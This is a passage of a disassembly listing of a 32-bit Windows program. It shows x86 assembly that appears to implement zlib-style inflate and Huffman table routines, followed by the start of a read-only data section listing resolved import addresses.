		jnb	short loc_406688
		sub	ecx, eax
		dec	ecx
		mov	edi, ecx
		jmp	short loc_40668D
; ---------------------------------------------------------------------------


loc_406688:				; CODE XREF: sub_405DB9+8C6j
		mov	edi, [ebp+var_8]
		sub	edi, eax


loc_40668D:				; CODE XREF: sub_405DB9+8B3j
					; sub_405DB9+8BDj ...
		test	edi, edi
		jz	loc_4067F9


loc_406695:				; CODE XREF: sub_405DB9+845j
					; sub_405DB9+876j
		mov	ecx, [ebp+var_20]
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	edi
		cmp	ecx, [esi+9BA0h]
		mov	[ebp+var_30], eax
		mov	[ebp+var_20], ecx
		mov	[ebp+var_2C], edi
		jnz	short loc_4066B9
		lea	ecx, [esi+1BA0h]
		mov	[ebp+var_20], ecx


loc_4066B9:				; CODE XREF: sub_405DB9+8F5j
		dec	dword ptr [esi+4]
		jnz	loc_4065FC
		jmp	loc_405F89
; ---------------------------------------------------------------------------


loc_4066C7:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406820o
		mov	eax, [ebp+var_2C]
		mov	edi, [ebp+var_30]
		test	eax, eax
		jnz	loc_406766
		mov	ecx, [esi+9BA0h]
		cmp	edi, ecx
		jnz	short loc_406702
		mov	eax, [esi+9BA4h]
		lea	edx, [esi+1BA0h]
		cmp	eax, edx
		jz	short loc_406702
		mov	edi, edx
		cmp	edi, eax
		jnb	short loc_4066FA
		sub	eax, edi
		dec	eax
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066FA:				; CODE XREF: sub_405DB9+93Aj
		sub	ecx, edi
		mov	eax, ecx


loc_4066FE:				; CODE XREF: sub_405DB9+93Fj
		test	eax, eax
		jnz	short loc_406766


loc_406702:				; CODE XREF: sub_405DB9+924j
					; sub_405DB9+934j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], edi
		call	sub_406848
		mov	edi, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	edi, ecx
		mov	[ebp+var_30], edi
		jnb	short loc_40672A
		mov	eax, ecx
		sub	eax, edi
		dec	eax
		jmp	short loc_406732
; ---------------------------------------------------------------------------


loc_40672A:				; CODE XREF: sub_405DB9+968j
		mov	eax, [esi+9BA0h]
		sub	eax, edi


loc_406732:				; CODE XREF: sub_405DB9+96Fj
		mov	edx, [esi+9BA0h]
		cmp	edi, edx
		mov	[ebp+var_8], edx
		jnz	short loc_40675E
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_40675E
		mov	edi, edx
		cmp	edi, ecx
		mov	[ebp+var_30], edi
		jnb	short loc_406759
		sub	ecx, edi
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40675E
; ---------------------------------------------------------------------------


loc_406759:				; CODE XREF: sub_405DB9+997j
		mov	eax, [ebp+var_8]
		sub	eax, edi


loc_40675E:				; CODE XREF: sub_405DB9+984j
					; sub_405DB9+98Ej ...
		test	eax, eax
		jz	loc_4067F9


loc_406766:				; CODE XREF: sub_405DB9+916j
					; sub_405DB9+947j
		mov	cl, [esi+8]
		mov	[edi], cl
		inc	edi
		dec	eax
		mov	[ebp+var_30], edi
		mov	[ebp+var_2C], eax
		jmp	loc_405F89
; ---------------------------------------------------------------------------


loc_406778:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406824o
		cmp	ebx, 7
		jbe	short loc_406786
		sub	ebx, 8
		inc	[ebp+var_34]
		dec	[ebp+var_38]


loc_406786:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; sub_405DB9+9C2j
					; DATA XREF: ...
		mov	eax, [ebp+var_30]
		push	[ebp+arg_0]
		mov	[esi+9BA8h], eax
		call	sub_406848
		mov	ecx, [esi+9BA8h]
		mov	edx, [esi+9BA4h]
		cmp	ecx, edx
		mov	[ebp+var_30], ecx
		jnb	short loc_4067B1
		mov	eax, edx
		sub	eax, ecx
		dec	eax
		jmp	short loc_4067B9
; ---------------------------------------------------------------------------


loc_4067B1:				; CODE XREF: sub_405DB9+9EFj
		mov	eax, [esi+9BA0h]
		sub	eax, ecx


loc_4067B9:				; CODE XREF: sub_405DB9+9F6j
		cmp	ecx, edx
		mov	[ebp+var_2C], eax
		jnz	short loc_4067F9
		mov	eax, [esi+514h]
		cmp	eax, 8
		mov	[esi], eax
		jnz	short loc_406800


loc_4067CD:				; CODE XREF: sub_405DB9+4Cj
					; sub_405DB9+B1j ...
		mov	eax, [esi]
		cmp	eax, 0Fh
		jbe	loc_405E0A
		jmp	loc_405E70
; ---------------------------------------------------------------------------


loc_4067DD:				; CODE XREF: sub_405DB9+5Cj
					; sub_405DB9+1F1j ...
		mov	eax, [ebp+var_40]
		xor	edi, edi
		mov	[esi+51Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+518h], ebx
		mov	[eax+4], edi
		jmp	loc_405E91
; ---------------------------------------------------------------------------


loc_4067F9:				; CODE XREF: sub_405DB9+2D9j
					; sub_405DB9+8D6j ...
		xor	edi, edi
		jmp	loc_405E79
; ---------------------------------------------------------------------------


loc_406800:				; CODE XREF: sub_405DB9+A12j
		xor	edi, edi
		inc	edi
		jmp	loc_405E79
sub_405DB9	endp

; ---------------------------------------------------------------------------
off_406808	dd offset loc_406405	; DATA XREF: sub_405DB9:loc_405E0Ar
		dd offset loc_406418
		dd offset loc_4064AE
		dd offset loc_4064FF
		dd offset loc_40657D
		dd offset loc_4065C1
		dd offset loc_4066C7
		dd offset loc_406778
		dd offset loc_405E31
		dd offset loc_405FC6
		dd offset loc_405FEB
		dd offset loc_4060F9
		dd offset loc_406138
		dd offset loc_40631B
		dd offset loc_405E70
		dd offset loc_406786

; =============== S U B	R O U T	I N E =======================================



sub_406848	proc near		; CODE XREF: sub_405DB9+EAp
					; sub_405DB9+286p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esi+9BB4h]


loc_406855:				; CODE XREF: sub_406848+52j
					; sub_406848+5Aj
		mov	ebx, [esi+9BB8h]
		cmp	edi, ebx
		jbe	short loc_406865
		mov	ebx, [esi+9BB0h]


loc_406865:				; CODE XREF: sub_406848+15j
		mov	eax, [esi+0Ch]
		sub	ebx, edi
		cmp	ebx, eax
		jb	short loc_406870
		mov	ebx, eax


loc_406870:				; CODE XREF: sub_406848+24j
		push	ebx
		push	edi
		push	dword ptr [esi+8]
		sub	eax, ebx
		mov	[esi+0Ch], eax
		call	sub_40568C
		add	[esi+8], ebx
		mov	eax, [esi+9BB0h]
		add	edi, ebx
		cmp	edi, eax
		jnz	short loc_4068A4
		cmp	[esi+9BB8h], eax
		lea	edi, [esi+1BB0h]
		jnz	short loc_406855
		mov	[esi+9BB8h], edi
		jmp	short loc_406855
; ---------------------------------------------------------------------------


loc_4068A4:				; CODE XREF: sub_406848+44j
		mov	[esi+9BB4h], edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_406848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068B0	proc near		; CODE XREF: sub_405DB9+172p
					; sub_405DB9+1A5p ...

var_EC		= dword	ptr -0ECh
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	10h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_70]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	edx, esi


loc_4068CE:				; CODE XREF: sub_4068B0+2Aj
		mov	eax, [ecx]
		add	ecx, 4
		lea	eax, [ebp+eax*4+var_70]
		inc	dword ptr [eax]
		dec	edx
		jnz	short loc_4068CE
		cmp	[ebp+var_70], esi
		jnz	short loc_4068F4
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		xor	eax, eax
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_4068F4:				; CODE XREF: sub_4068B0+2Fj
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		inc	ebx
		push	0Fh
		mov	edi, [esi]
		mov	ecx, ebx
		mov	[ebp+arg_18], edi
		pop	edx


loc_406904:				; CODE XREF: sub_4068B0+5Fj
		xor	eax, eax
		cmp	[ebp+ecx*4+var_70], eax
		jnz	short loc_406911
		inc	ecx
		cmp	ecx, edx
		jbe	short loc_406904


loc_406911:				; CODE XREF: sub_4068B0+5Aj
		cmp	edi, ecx
		mov	[ebp+var_4], ecx
		jnb	short loc_40691B
		mov	[ebp+arg_18], ecx


loc_40691B:				; CODE XREF: sub_4068B0+66j
					; sub_4068B0+72j
		cmp	[ebp+edx*4+var_70], eax
		jnz	short loc_406924
		dec	edx
		jnz	short loc_40691B


loc_406924:				; CODE XREF: sub_4068B0+6Fj
		cmp	[ebp+arg_18], edx
		mov	[ebp+var_18], edx
		jbe	short loc_40692F
		mov	[ebp+arg_18], edx


loc_40692F:				; CODE XREF: sub_4068B0+7Aj
		mov	edi, [ebp+arg_18]
		mov	[esi], edi
		shl	ebx, cl
		jmp	short loc_406945
; ---------------------------------------------------------------------------


loc_406938:				; CODE XREF: sub_4068B0+97j
		sub	ebx, [ebp+ecx*4+var_70]
		js	loc_406BE1
		inc	ecx
		add	ebx, ebx


loc_406945:				; CODE XREF: sub_4068B0+86j
		cmp	ecx, edx
		jb	short loc_406938
		mov	esi, edx
		shl	esi, 2
		lea	ecx, [ebp+esi+var_70]
		mov	edi, [ecx]
		sub	ebx, edi
		mov	[ebp+var_30], ebx
		js	loc_406BE1
		add	edi, ebx
		mov	[ebp+var_AC], eax
		mov	[ecx], edi
		xor	ecx, ecx
		dec	edx
		jz	short loc_406981
		xor	edi, edi


loc_406970:				; CODE XREF: sub_4068B0+CFj
		add	ecx, [ebp+edi+var_6C]
		add	edi, 4
		dec	edx
		mov	[ebp+edi+var_AC], ecx
		jnz	short loc_406970


loc_406981:				; CODE XREF: sub_4068B0+BCj
		mov	ebx, [ebp+arg_0]
		xor	edi, edi


loc_406986:				; CODE XREF: sub_4068B0+F6j
		mov	ecx, [ebx]
		add	ebx, 4
		cmp	ecx, eax
		jz	short loc_4069A2
		lea	ecx, [ebp+ecx*4+var_B0]
		mov	edx, [ecx]
		mov	dword_42D6B8[edx*4], edi
		inc	edx
		mov	[ecx], edx


loc_4069A2:				; CODE XREF: sub_4068B0+DDj
		inc	edi
		cmp	edi, [ebp+arg_4]
		jb	short loc_406986
		mov	ecx, [ebp+esi+var_B0]
		mov	ebx, [ebp+arg_18]
		or	[ebp+var_C], 0FFFFFFFFh
		and	[ebp+var_24], 0
		mov	[ebp+arg_4], ecx
		mov	ecx, [ebp+var_4]
		neg	ebx
		cmp	ecx, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_B0], eax
		mov	[ebp+var_20], offset dword_42D6B8
		mov	[ebp+var_EC], eax
		jg	loc_406BD4
		lea	edx, [ecx-1]
		lea	ecx, [ebp+ecx*4+var_70]
		mov	[ebp+var_28], edx
		mov	[ebp+var_1C], ecx


loc_4069EE:				; CODE XREF: sub_4068B0+31Ej
		mov	ecx, [ebp+var_1C]
		mov	esi, [ecx]
		test	esi, esi
		jz	loc_406BBE
		jmp	short loc_406A00
; ---------------------------------------------------------------------------


loc_4069FD:				; CODE XREF: sub_4068B0+308j
		mov	esi, [ebp+var_2C]


loc_406A00:				; CODE XREF: sub_4068B0+14Bj
		mov	ecx, [ebp+arg_18]
		dec	esi
		add	ecx, ebx
		mov	[ebp+var_2C], esi
		cmp	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		jle	loc_406AE1
		inc	esi
		mov	[ebp+var_10], esi


loc_406A19:				; CODE XREF: sub_4068B0+22Bj
		mov	esi, [ebp+var_18]
		inc	[ebp+var_C]
		sub	esi, [ebp+var_14]
		cmp	esi, [ebp+arg_18]
		jbe	short loc_406A2A
		mov	esi, [ebp+arg_18]


loc_406A2A:				; CODE XREF: sub_4068B0+175j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		sub	ecx, [ebp+var_14]
		inc	edx
		shl	edx, cl
		cmp	edx, [ebp+var_10]
		jbe	short loc_406A5D
		mov	edi, [ebp+var_1C]
		or	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_2C]
		add	edx, eax
		cmp	ecx, esi
		jnb	short loc_406A5D
		jmp	short loc_406A58
; ---------------------------------------------------------------------------


loc_406A4B:				; CODE XREF: sub_4068B0+1ABj
		add	edi, 4
		add	edx, edx
		mov	eax, [edi]
		cmp	edx, eax
		jbe	short loc_406A5D
		sub	edx, eax


loc_406A58:				; CODE XREF: sub_4068B0+199j
		inc	ecx
		cmp	ecx, esi
		jb	short loc_406A4B


loc_406A5D:				; CODE XREF: sub_4068B0+188j
					; sub_4068B0+197j ...
		mov	edx, [ebp+arg_20]
		xor	eax, eax
		inc	eax
		mov	edx, [edx]
		shl	eax, cl
		mov	[ebp+var_24], eax
		lea	edi, [edx+eax]
		cmp	edi, 5A0h
		ja	loc_406BE1
		mov	eax, [ebp+arg_1C]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_C]
		lea	esi, [ebp+edx*4+var_EC]
		mov	edx, [ebp+arg_20]
		mov	[edx], edi
		mov	edx, [ebp+var_C]
		test	edx, edx
		mov	[esi], eax
		jz	short loc_406AC8
		mov	edi, [ebp+var_8]
		mov	esi, [esi-4]
		mov	[ebp+edx*4+var_B0], edi
		mov	dl, byte ptr [ebp+arg_18]
		mov	byte ptr [ebp+arg_0+1],	dl
		mov	byte ptr [ebp+arg_0], cl
		mov	edx, edi
		mov	ecx, ebx
		shr	edx, cl
		mov	ecx, eax
		sub	ecx, esi
		sar	ecx, 2
		sub	ecx, edx
		mov	word ptr [ebp+arg_0+2],	cx
		mov	ecx, [ebp+arg_0]
		mov	[esi+edx*4], ecx
		jmp	short loc_406ACD
; ---------------------------------------------------------------------------


loc_406AC8:				; CODE XREF: sub_4068B0+1E5j
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax


loc_406ACD:				; CODE XREF: sub_4068B0+216j
		mov	ecx, [ebp+var_14]
		mov	ebx, ecx
		add	ecx, [ebp+arg_18]
		cmp	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		jg	loc_406A19


loc_406AE1:				; CODE XREF: sub_4068B0+15Fj
		mov	cl, byte ptr [ebp+var_4]
		mov	esi, [ebp+var_20]
		sub	cl, bl
		mov	byte ptr [ebp+arg_0+1],	cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, ds:42D6B8h[ecx*4]
		cmp	esi, ecx
		jb	short loc_406B00
		mov	byte ptr [ebp+arg_0], 0C0h
		jmp	short loc_406B43
; ---------------------------------------------------------------------------


loc_406B00:				; CODE XREF: sub_4068B0+248j
		mov	ecx, [esi]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_406B23
		cmp	ecx, 100h
		setb	cl
		dec	cl
		and	ecx, 60h
		mov	byte ptr [ebp+arg_0], cl
		mov	cx, [esi]
		add	esi, 4
		mov	[ebp+var_20], esi
		jmp	short loc_406B3F
; ---------------------------------------------------------------------------


loc_406B23:				; CODE XREF: sub_4068B0+255j
		sub	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		add	ecx, ecx
		mov	dl, [ecx+edx]
		add	dl, 50h
		add	[ebp+var_20], 4
		mov	byte ptr [ebp+arg_0], dl
		mov	edx, [ebp+arg_C]
		mov	cx, [ecx+edx]


loc_406B3F:				; CODE XREF: sub_4068B0+271j
		mov	word ptr [ebp+arg_0+2],	cx


loc_406B43:				; CODE XREF: sub_4068B0+24Ej
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		xor	edi, edi
		sub	ecx, ebx
		inc	edi
		mov	esi, edi
		shl	esi, cl
		mov	ecx, ebx
		shr	edx, cl
		jmp	short loc_406B60
; ---------------------------------------------------------------------------


loc_406B58:				; CODE XREF: sub_4068B0+2B3j
		mov	ecx, [ebp+arg_0]
		mov	[eax+edx*4], ecx
		add	edx, esi


loc_406B60:				; CODE XREF: sub_4068B0+2A6j
		cmp	edx, [ebp+var_24]
		jb	short loc_406B58
		mov	ecx, [ebp+var_28]
		mov	esi, [ebp+var_8]
		mov	edx, edi
		shl	edx, cl
		jmp	short loc_406B75
; ---------------------------------------------------------------------------


loc_406B71:				; CODE XREF: sub_4068B0+2C7j
		xor	esi, edx
		shr	edx, 1


loc_406B75:				; CODE XREF: sub_4068B0+2BFj
		test	edx, esi
		jnz	short loc_406B71
		mov	ecx, edi
		xor	esi, edx
		mov	[ebp+var_10], ecx
		mov	ecx, ebx
		mov	edx, edi
		mov	[ebp+var_8], esi
		shl	edx, cl
		dec	edx
		and	edx, esi
		mov	ecx, edx
		mov	edx, [ebp+var_C]
		cmp	ecx, [ebp+edx*4+var_B0]
		jz	short loc_406BB4


loc_406B9A:				; CODE XREF: sub_4068B0+2FFj
		sub	ebx, [ebp+arg_18]
		mov	esi, edi
		dec	edx
		mov	ecx, ebx
		shl	esi, cl
		dec	esi
		and	esi, [ebp+var_8]
		cmp	esi, [ebp+edx*4+var_B0]
		jnz	short loc_406B9A
		mov	[ebp+var_C], edx


loc_406BB4:				; CODE XREF: sub_4068B0+2E8j
		cmp	[ebp+var_2C], 0
		jnz	loc_4069FD


loc_406BBE:				; CODE XREF: sub_4068B0+145j
		inc	[ebp+var_4]
		add	[ebp+var_1C], 4
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_28]
		cmp	ecx, [ebp+var_18]
		jle	loc_4069EE


loc_406BD4:				; CODE XREF: sub_4068B0+12Bj
		xor	eax, eax
		cmp	[ebp+var_30], eax
		jz	short loc_406BE4
		cmp	[ebp+var_18], 1
		jz	short loc_406BE4


loc_406BE1:				; CODE XREF: sub_4068B0+8Cj
					; sub_4068B0+A9j ...
		or	eax, 0FFFFFFFFh


loc_406BE4:				; CODE XREF: sub_4068B0+3Fj
					; sub_4068B0+329j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_4068B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BEC	proc near		; CODE XREF: sub_401FA4+Cp
		jmp	ds:dword_407268
sub_406BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BF2	proc near		; CODE XREF: sub_401439+B5Ep
		jmp	ds:dword_407264
sub_406BF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BF8	proc near		; CODE XREF: sub_401439+B27p
		jmp	ds:dword_407260
sub_406BF8	endp

_text		ends

; Section 2. (virtual address 00007000)
; Virtual size			: 000011FE (   4606.)
; Section size in file		: 000011FE (   4606.)
; Offset to raw	data for section: 00007000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 407000h
dword_407000	dd 77DD23D7h		; DATA XREF: sub_4021F6+264r
					; sub_4058CF+3Dr
dword_407004	dd 77DD59F0h		; DATA XREF: sub_4021F6+21Fr
dword_407008	dd 77DD81E3h		; DATA XREF: sub_4021F6+2DDr
					; sub_402ADA+25r
dword_40700C	dd 77DD7F3Eh		; DATA XREF: sub_4021F6+2F0r
dword_407010	dd 77DD22EAh		; DATA XREF: sub_402ADA+1Br
					; sub_402B76+22r ...
dword_407014	dd 77DD839Fh		; DATA XREF: sub_402ADA+6Cr
dword_407018	dd 77DD5C55h		; DATA XREF: sub_4021F6+153r
dword_40701C	dd 77DD189Ah		; DATA XREF: sub_4021F6+15Cr
					; sub_4021F6:loc_4024FBr ...
dword_407020	dd 77DD590Bh		; DATA XREF: sub_4021F6+1C6r
		align 8
dword_407028	dd 77346144h		; DATA XREF: sub_4046C3+BEr
dword_40702C	dd 77345719h		; DATA XREF: sub_4046C3+42Br
dword_407030	dd 77345219h		; DATA XREF: start+1Ar
dword_407034	dd 77345CA4h		; DATA XREF: sub_4046C3+AAr
		dd 0
dword_40703C	dd 77C71E2Eh		; DATA XREF: sub_403E2A+74r
dword_407040	dd 77C7531Dh		; DATA XREF: sub_401439:loc_401D9Cr
dword_407044	dd 77C72889h		; DATA XREF: sub_401000:loc_401068r
					; sub_401439+94Ar ...
dword_407048	dd 77C7E6D9h		; DATA XREF: sub_401000+CFr
					; sub_403E2A+98r
dword_40704C	dd 77C7D47Ch		; DATA XREF: sub_401000+105r
					; sub_401439+9C4r
dword_407050	dd 77C71EFFh		; DATA XREF: sub_401000+126r
					; sub_403E2A+51r
dword_407054	dd 77C71D83h		; DATA XREF: sub_401000+130r
					; sub_403E2A+45r
dword_407058	dd 77C71BB0h		; DATA XREF: sub_401000+139r
		align 10h
dword_407060	dd 77E77963h		; DATA XREF: sub_401439+4DAr
					; sub_401ED8:loc_401F10r ...
dword_407064	dd 77E7011Ah		; DATA XREF: sub_401439+4D1r
dword_407068	dd 77E71702h		; DATA XREF: sub_401439+3CDr
dword_40706C	dd 77E6CBF9h		; DATA XREF: sub_401439+33Er
dword_407070	dd 77E6C10Bh		; DATA XREF: sub_401439+31Fr
					; sub_405723:loc_40574Fr
dword_407074	dd 77E80357h		; DATA XREF: sub_401439+2D9r
dword_407078	dd 77E71AFEh		; DATA XREF: sub_401439+28Ar
dword_40707C	dd 77E705C5h		; DATA XREF: sub_401439+20Fr
dword_407080	dd 77E74CABh		; DATA XREF: sub_401439+1E0r
					; sub_401439+3F0r ...
dword_407084	dd 77F5157Dh		; DATA XREF: sub_401439+1D2r
dword_407088	dd 77E6808Fh		; DATA XREF: sub_401439+1C8r
					; sub_403132+21r ...
dword_40708C	dd 77E70396h		; DATA XREF: sub_401439+189r
					; sub_401439+3FAr ...
dword_407090	dd 77E61BE6h		; DATA XREF: sub_401439+EEr
dword_407094	dd 77E793EFh		; DATA XREF: sub_402C37+69r
					; sub_405723+E1r
dword_407098	dd 77E7A099h		; DATA XREF: sub_402C37+33r start+24Fr
dword_40709C	dd 77E7751Ah		; DATA XREF: sub_402C37+Er
					; sub_402C37:loc_402D7Fr ...
dword_4070A0	dd 77E79C90h		; DATA XREF: start+352r
dword_4070A4	dd 77E76A2Eh		; DATA XREF: sub_401439+607r
					; start+261r ...
dword_4070A8	dd 77E75CB5h		; DATA XREF: start+1ECr start+3B1r
dword_4070AC	dd 77E7C938h		; DATA XREF: start+9Cr
dword_4070B0	dd 77E705B0h		; DATA XREF: start+72r	sub_405723+AAr	...
dword_4070B4	dd 77E6AD34h		; DATA XREF: start+5Dr
dword_4070B8	dd 77E73BEFh		; DATA XREF: sub_403ED7+15r
					; sub_4059DB+Dr
dword_4070BC	dd 77E6869Bh		; DATA XREF: sub_404281+1AFr
dword_4070C0	dd 77E71B14h		; DATA XREF: sub_404EBC+35Er
dword_4070C4	dd 77E7166Fh		; DATA XREF: sub_404EBC+32Cr
dword_4070C8	dd 77E7AC37h		; DATA XREF: sub_404EBC+1C5r
dword_4070CC	dd 77E61BB8h		; DATA XREF: sub_405263+3Cr
dword_4070D0	dd 77E704DCh		; DATA XREF: sub_40531D+19Cr
dword_4070D4	dd 77E7A837h		; DATA XREF: sub_4056AC+26r
					; sub_405723+CDr
dword_4070D8	dd 77E6AF8Fh		; DATA XREF: sub_4056DB+2Dr
dword_4070DC	dd 77E74672h		; DATA XREF: sub_4059F1r
dword_4070E0	dd 77E74155h		; DATA XREF: sub_4059F7r
dword_4070E4	dd 77E704FCh		; DATA XREF: sub_4059FD+10Fr
dword_4070E8	dd 77E76432h		; DATA XREF: sub_401439:loc_401A52r
dword_4070EC	dd 77E7AC5Eh		; DATA XREF: sub_401439:loc_401A6Fr
dword_4070F0	dd 77E668D9h		; DATA XREF: sub_401439:loc_401A77r
dword_4070F4	dd 77E73803h		; DATA XREF: sub_401439:loc_401BE1r
					; sub_4026FA+CCr ...
dword_4070F8	dd 77E736A3h		; DATA XREF: sub_401439+7BAr
					; sub_401439+B45r ...
dword_4070FC	dd 77E79D5Bh		; DATA XREF: sub_401E9C+2Br
dword_407100	dd 77E7FF65h		; DATA XREF: sub_401ED8+13r
dword_407104	dd 77E78C17h		; DATA XREF: sub_401439+BAEr
					; sub_402084+17r ...
dword_407108	dd 77E79F93h		; DATA XREF: sub_402010+1r start+ABr ...
dword_40710C	dd 77E805D8h		; DATA XREF: sub_402010+Er
					; sub_403542+21Cr ...
dword_407110	dd 77E7A5FDh		; DATA XREF: sub_402028+6r
					; sub_405CEE+21r
dword_407114	dd 77E80618h		; DATA XREF: sub_402084+3r
dword_407118	dd 77E77CCEh		; DATA XREF: sub_4020D8+DDr
dword_40711C	dd 77E7070Eh		; DATA XREF: sub_4021F6+E9r
dword_407120	dd 77E72C64h		; DATA XREF: sub_4021F6+124r
dword_407124	dd 77E79D8Ch		; DATA XREF: sub_4021F6+383r
					; sub_4026FA+DEr ...
dword_407128	dd 77E78B82h		; DATA XREF: sub_4021F6+3DAr
					; sub_4030E9+17r ...
dword_40712C	dd 77E72CF4h		; DATA XREF: sub_40136D+78r
					; sub_401439:loc_401DABr ...
dword_407130	dd 77E78C81h		; DATA XREF: sub_4021F6+43Er
					; sub_4021F6+46Er ...
dword_407134	dd 77E78EAAh		; DATA XREF: sub_4021F6+491r
					; sub_40531D+15Ar ...
dword_407138	dd 77E75E67h		; DATA XREF: sub_4021F6+4AEr
					; sub_40531D+149r
dword_40713C	dd 77E75D9Eh		; DATA XREF: sub_4021F6+4D5r
					; sub_40531D+92r ...
dword_407140	dd 77E73628h		; DATA XREF: sub_4026FA+114r start+96r ...
dword_407144	dd 77E6BD13h		; DATA XREF: start+277r
		dd 0
dword_40714C	dd 77423391h		; DATA XREF: sub_405238+8r
dword_407150	dd 77423EAEh		; DATA XREF: sub_4044FB+38r
					; sub_4059FD+156r
dword_407154	dd 774E3824h		; DATA XREF: sub_404281+B4r
dword_407158	dd 77422FDCh		; DATA XREF: start+3Dr
dword_40715C	dd 77428B97h		; DATA XREF: sub_401E6C+1Cr
					; sub_403F0B+20Fr
dword_407160	dd 7746135Fh		; DATA XREF: sub_4021F6+68r
dword_407164	dd 773F6FB6h		; DATA XREF: sub_4059FD+148r
		dd 0
dword_40716C	dd 77D481CDh		; DATA XREF: sub_4038DB+42Cr
					; sub_404643+3Dr
dword_407170	dd 77D45F74h		; DATA XREF: sub_4038DB+420r
					; sub_404EBC+2A6r
dword_407174	dd 77D5D417h		; DATA XREF: sub_4038DB+1CFr
dword_407178	dd 77D47C8Bh		; DATA XREF: sub_4038DB+B6r
					; sub_4038DB+103r
dword_40717C	dd 77D49525h		; DATA XREF: sub_4038DB+3Cr
					; sub_4038DB+447r
dword_407180	dd 77D4432Ah		; DATA XREF: sub_403E2A+30r
					; sub_403F0B+CEr
dword_407184	dd 77D43FEDh		; DATA XREF: sub_403E2A+1Dr
					; sub_4046C3+230r
dword_407188	dd 77D4630Dh		; DATA XREF: sub_403F0B+1F5r
dword_40718C	dd 77D47EE5h		; DATA XREF: sub_403F0B+1E6r
dword_407190	dd 77D4FF4Ah		; DATA XREF: sub_403F0B+8Br
dword_407194	dd 77D4822Bh		; DATA XREF: sub_404643+23r
dword_407198	dd 77D5BC81h		; DATA XREF: sub_4046C3+83r
dword_40719C	dd 77D5BA26h		; DATA XREF: sub_404CBD+B5r
dword_4071A0	dd 77D4747Ch		; DATA XREF: sub_404CBD+47r
dword_4071A4	dd 77D5E303h		; DATA XREF: sub_404EBC+36Fr
dword_4071A8	dd 77D6BB4Ch		; DATA XREF: sub_404EBC+369r
dword_4071AC	dd 77D6BB30h		; DATA XREF: sub_404EBC+319r
dword_4071B0	dd 77D5E310h		; DATA XREF: sub_404EBC+313r
dword_4071B4	dd 77D4F5CBh		; DATA XREF: sub_4038DB+48Ar
dword_4071B8	dd 77D5DD3Ah		; DATA XREF: sub_404EBC+293r
dword_4071BC	dd 77D49B9Ch		; DATA XREF: sub_404EBC+27Er
dword_4071C0	dd 77D477C0h		; DATA XREF: sub_404EBC+B3r
dword_4071C4	dd 77D6272Dh		; DATA XREF: sub_4052B9r
dword_4071C8	dd 77D6274Fh		; DATA XREF: sub_4052BF+13r
dword_4071CC	dd 77D6ADD7h		; DATA XREF: sub_4052DB+39r
dword_4071D0	dd 77D47322h		; DATA XREF: sub_4054E8+Fr
					; sub_40552F+14r ...
dword_4071D4	dd 77D441F2h		; DATA XREF: sub_405D18+17r
dword_4071D8	dd 77D46E60h		; DATA XREF: sub_405D18+Br
dword_4071DC	dd 77D5E69Dh		; DATA XREF: sub_402C37+166r
					; sub_4038DB+3F0r
dword_4071E0	dd 77D49A11h		; DATA XREF: sub_402C37+1A1r
					; sub_402C37:loc_402E52r ...
dword_4071E4	dd 77D444F0h		; DATA XREF: sub_402BAB+20r
dword_4071E8	dd 77D5BB6Ch		; DATA XREF: sub_402BAB+69r
					; sub_40380E+98r ...
